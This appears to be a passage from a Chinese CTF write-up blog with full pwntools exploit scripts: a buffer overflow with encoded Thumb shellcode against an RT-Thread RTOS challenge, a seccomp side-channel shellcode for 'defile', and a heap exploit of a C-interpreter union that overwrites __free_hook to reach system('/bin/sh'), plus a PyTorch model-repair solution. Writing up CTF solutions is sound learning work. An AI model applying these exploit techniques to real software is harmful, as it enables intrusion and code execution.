69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
context.arch = 'arm'
context.log_level = 'debug'
flag = True
flag = False

decode_shellcode = '''
ldr r6, [pc, 0x3c]
ldr r7, [pc, 0x40]
movs r3, 2
lsrs r3, 1
eors r0, r0

ldrb r1, [r6, r0]
ldrb r2, [r7, r0]
lsls r2, 5
eors r1, r2
strb r1, [r6, r0]
adds r0, r3

ldr r5, [pc, 0x30]
movs r4, 4
lsls r4, 5
lsls r4, 1
ands r4, r0
lsrs r4, 5
lsrs r4, 3
movs r1, 0x22
muls r1, r4
adds r5, r1
bx r5
bx r6
'''

def main(p):
p.recvuntil('2006 - 2020 Copyright by rt-thread team')
payload = b'A'*(0x20) + p32(0x60004400)
payload += p32(0x60012518)
#payload += b'\xf8\x24\x01\x01\x60'
#payload += b'\x00'
#payload = payload.replace(b'\x01', b'\x01\x01')
sleep(1)
#p.recvuntil('welcome to simple rtos pwn level 1')

input()
p.send(payload + b'\n')

#p.recvuntil('welcome to simple rtos pwn level 1')
payload = b'A'*(0x20) + p32(0x60004400) + p32(0x60004404 + 1)
payload += asm(decode_shellcode, arch='thumb').ljust(0x40, b'\x00')

payload += p32(0x60004450) # shellcode
payload += p32(0x60004550) # shellcode table
payload += p32(0x6000440e + 1)


tmp_payload = asm(
'''
movw r4, 0x8a28
movt r4, 0x9
add sp, r4

movw r6, 0x44a0
movt r6, 0x6000
mov r0, r6
mov r1, 0
sub r2, r0, r0
movw r5, 0x73E4
movt r5, 0x6005
blx r5

add r1, r6, 0x3000
mov r2, 0xff
add r5, 0x124
blx r5

mov r0, 3
add r1, r6, 0x3000
mov r2, 0xff
add r5, 0x90
blx r5

''') + b'/flag\x00'
shellcode_table = b''
encode_shellcode = b''

print(hexdump(tmp_payload.ljust(0x100, b'\x00')))


for i in range(len(tmp_payload)):
if tmp_payload[i] >= 0x80:
encode_shellcode += chr(tmp_payload[i]^0x80).encode('latin')
shellcode_table += b'\x04'
else:
encode_shellcode += tmp_payload[i:i+1]
shellcode_table += b'\x00'

payload += encode_shellcode.ljust(0x100, b'\x00')

print(hexdump(encode_shellcode.ljust(0x100, b'\x00')))

payload += shellcode_table.ljust(0x100, b'\x00')

print(hexdump(shellcode_table.ljust(0x100, b'\x00')))


#payload = payload.replace(b'\x01', b'\x01\x01')
#input()
p.send(payload + b'\n')

p.recvuntil(b'\x00')
p.interactive()
if __name__ == "__main__":
while True:
if flag:
#p = remote('123.57.4.93', 45559)
p = process(['python2', './pow.py', 'ask', '204800'])
p.recvuntil('./pow.py')
ask = p.recvuntil('\n', drop=True)
pow = process(['python3', './pow.py', ask.decode()])
pow.recvuntil('Solution: ')
ans = pow.recvuntil('\n', drop=True)
p.sendline(ans)
else:
p = process(['bash', './run.sh'])
try:
main(p)
except EOFError:
pass
p.close()
break
sleep(1)

defile

没开 canary ,partial RELRO,开了 hacker 和 handler 两个进程

hacker 进程开了 seccomp,只允许 write close 系统调用

mmap 开了 大小为 4096的内存。可以读入 4094 位shellcode,并且循环从shellcode和shellcode+4094/2 开始执行

handler 进程会读 128 位的随机 key,通过 pipefd[0],读 128 位的 answer并和 key 比较,如果两者相等就输出 flag

mmap 开一块大小为 4096 的 rwx 段 shared

hacker 进程中,向 shared 写入 4094 长度的 shellcode

handler 进程中,生成 128 位的 key,遍历 key 的每一位,每一次循环检测 shared+4095 存放的值是否为 key[i],如果是就随机将 shared 中的一个 qword 改成 0xcccccccccccccccc,否则就阻塞该进程直到 shared 这一位与 key[i] 相等

遍历完成后(遍历完了其实相当于已经得到完整的 key 了),handler 进程从 pipefd 中读 128 位,与 key 比较,相等输出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.bits = '64'

# p = gdb.debug("./defile_fake", "b *0x0005555555558DE\n set follow-fork-mode child\n set detach-on-fork off\n")
p = None
# p = remote("39.97.171.121", "40001")
def gen_part1():
payload = b""
payload += asm("mov rdi, [rsp+0xe8]")
payload += asm("add rdi, 0x2647")
# payload += asm("mov rdi, [rsp+0x108]")
# payload += asm("add rdi, 0x235f")

payload += asm("mov rdi, [rdi]")
payload += asm("and rdi, 0xff")

payload += asm("mov r10, 0xcccccccccccccccc")
payload += asm("mov r8, 0x9090909090909090")

payload += asm("mov rbx, rdx")
payload += asm("add rbx, 0xfff")

payload += asm("lea rsi, [rsp-8]")

payload += asm("xor rax, rax")
payload += asm("inc al")

payload += asm("xor rdx, rdx")
payload += asm("inc dx")

payload += asm("xor rcx, rcx")
payload += asm("mov [rbx], cl")
payload += asm("jmp $+2924") # jmp to check
payload += asm("inc cl")
payload += asm("jmp $-9") # jmp to mov
return payload

def gen_check_and_recover():
payload = b""
payload += asm("mov r12, 0x100000")
payload += asm("dec r12")
payload += asm("cmp r12, 0")
payload += asm("jnz $-7")
payload += asm("xor r9, r9")
payload += asm("mov r11, [rbx+r9-0xfff]")
payload += asm("cmp r11, r10")
payload += asm("jz $+20")
payload += asm("add r9, 8")
payload += asm("CMP r9, 0x1000")
payload += asm("jnz $-24")

payload += asm("jmp $-2964")


payload += asm("mov [rbx+r9-0xfff], r8")
payload += asm("mov [rbx-1], al")
payload += asm("push rcx")
payload += asm("pop rcx")
payload += asm("syscall")
payload += asm("jmp $-2994") # jmp xor
return payload


def main():
global p
p = remote("39.97.171.121", "40001")
payload = b''
payload += b'H\x8b\xbc$\xe8\x00\x00\x00H\x81\xc7G&\x00\x00H\x8b?H\x81\xe7\xff\x00\x00\x00I\xba\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xccI\xb8\x90\x90\x90\x90\x90\x90\x90\x90H\x89\xd3H\x81\xc3\xff\x0f\x00\x00H\x8dt$\xf8H1\xc0\xfe\xc0H1\xd2f\xff\xc2H1\xc9\x88\x0b\xe9g\x0b\x00\x00\xfe\xc1\xeb\xf5'
payload = payload.ljust(3000, b'\x90')
payload += b'I\xc7\xc4\x00\x00\x10\x00I\xff\xccI\x83\xfc\x00u\xf7M1\xc9N\x8b\x9c\x0b\x01\xf0\xff\xffM9\xd3t\x12I\x83\xc1\x08I\x81\xf9\x00\x10\x00\x00u\xe6\xe9g\xf4\xff\xffN\x89\x84\x0b\x01\xf0\xff\xff\x88C\xffQY\x0f\x05\xe9I\xf4\xff\xff'
payload = payload.ljust(4094, b'\x90')

p.sendlineafter("INPUT YOUR TOKEN:", "icq21f68171d546aaaf1a01f61203cc8")
p.sendafter("Round", payload)
for i in range(1, 128):
t_str = None
t_str = p.recvuntil("Round:\t%d\n"%i, timeout=6)
print(t_str)
if t_str == None or b"Round" not in t_str:
raise
log.info("Round ================> %d"%i)
p.interactive()

def exploit():
cnt = 0
global p
while True:
cnt += 1
log.info("============================= Round %d ==========================="%cnt)
try:
main()
except Exception as e:
print(e)
p.close()
log.failure("Failed this time")
sleep(80)


if __name__ == "__main__":
exploit()

ParseC

https://wizardforcel.gitbooks.io/diy-c-compiler/content/2.html

貌似找到了原项目 先分析一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
union {
char* funcp; // pointer to an array or an function
struct symStruct* list;
} pointer;


....

match('=');
if (token == Str) {
if (s->pointer.funcp)
//这个union可利用
free(s->pointer.funcp);
s->pointer.funcp = (char*)token_val.ptr;
s->type = StrSym;
match(Str);


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
p=remote('123.57.4.93','34007')
lgot,lplt,lsymbol =r.load('2.27',serial='3u12',mmap=1)
rn = lambda n : p.recv(n)
rc = lambda : p.recv()
ru = lambda s :p.recvuntil(s)
rl = lambda : p.recvline()
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sa = lambda r,s : p.sendafter(r,s)
sla = lambda r,s : p.sendlineafter(r,s)
act=lambda:p.interactive()
# r.bp(0x4012DE,0x401F50,cmd={'c':8}) # malloc free
ss=f'''
puts("fh");
read(fhoff);
puts("sys");
read(sysoff);
pad="{"/bin/sh;"+"1"*0x28}";
a="{"1"*0x7f}";
b="{"1"*0x40}";
c="1";
c0=c;
c1=c;
c2=c;
c0="{"1"*0x20}";
c1="{"1"*0x20}";
c2="{"1"*0x20}";
b0=a;
b1=a;
b2=a;
b3=a;
b4=a;
b5=a;
b6=a;
b7=a;
b0="{"x"*0x30}";
b1="{"x"*0x30}";
b2="{"x"*0x30}";
b3="{"x"*0x30}";
b4="{"x"*0x30}";
b5="{"x"*0x30}";
b6="{"x"*0x30}";
b7="{"x"*0x30}";
aa="{"x"*0x50}";
c0=b;
c1=b;
c2=b;
c0="{"1"*0x70}";
c1="{"1"*0x70}";
c2="{"1"*0x70}";

array d(2);
d[1]=d[1]+fhoff;
k=d[1];
e0="p";
e1="H";
e2="H";
array ar(1);
array ar1(1);
array ar2(1);
ar2[0]=k-sysoff;
pad="1"
'''
ss=ss.encode('utf-8')
sla('base64:',base64.b64encode(ss))
sa('fh','3.54146254939005522E-320')
sa('sys','1.87442972496935516E-317')
p.interactive()

Misc

torch model

模型代码在ipynb里面,pt是模型数据

网络模型:卷积→池化→卷积→全连接→全连接→全连接

实现tuanzi.jpg到flag的映射

最后对model_state_dict.pt加了一点干扰,用随机数抹掉了0x90~0x4ef的数据,可能是和模型结构有关的东西

参考serialization.py,模型数据分为三个部分,通过数组存储网络参数

第一部分包含各个数组的名称和结构类型

第二部分包含各个数组内容在文件中的存储顺序

第三部分包含各个数组的内容

其中被随机数抹掉的是第一部分

注意到这里序列化的代码被修改过了,所以需要通过第三部分中标记数据块大小的size来判定对应的哪个数组,可以自己先跑个数据样本对照着看

样本中的对照表:

name key size
conv1.weight 2140555819088 7e0900
conv1.bias 2140555821968 0a0000
conv2.weight 2140555819184 483f00
conv2.bias 2140555821104 140000
fc1.weight 2140555818224 60cc1e
fc1.bias 2140555821392 780000
fc2.weight 2140555821584 602700
fc2.bias 2140555817360 540000
fc3.weight 2140555817648 900600
fc3.bias 2140555817456 140000

题目中size出现的顺序以及对应的key:

size key
780000 2140555821392
900600 2140555817648
540000 2140555817360
7e0900 2140555819088
0a0000 2140555821968
483f00 2140555819184
602700 2140555821584
140000 2140555821104
60cc1e 2140555818224
140000 2140555817456

先用样本中的header去替换题目中的header,再按照size出现的顺序填写第二部分的key就可以了

最后跑一下导入的模型数据就可以得到flag

1
2
3
4
5
6
7
8
#include <cstdio>
unsigned char flag[]={106, 20, 226, 32, 243, 233, 36, 35, 214, 74, 235, 186, 231, 110, 72, 239, 101, 151, 236, 49};
int main(){
printf("flag{");
for (int i=0;i<sizeof(flag);i++)
printf("%x",flag[i]);
printf("}");
}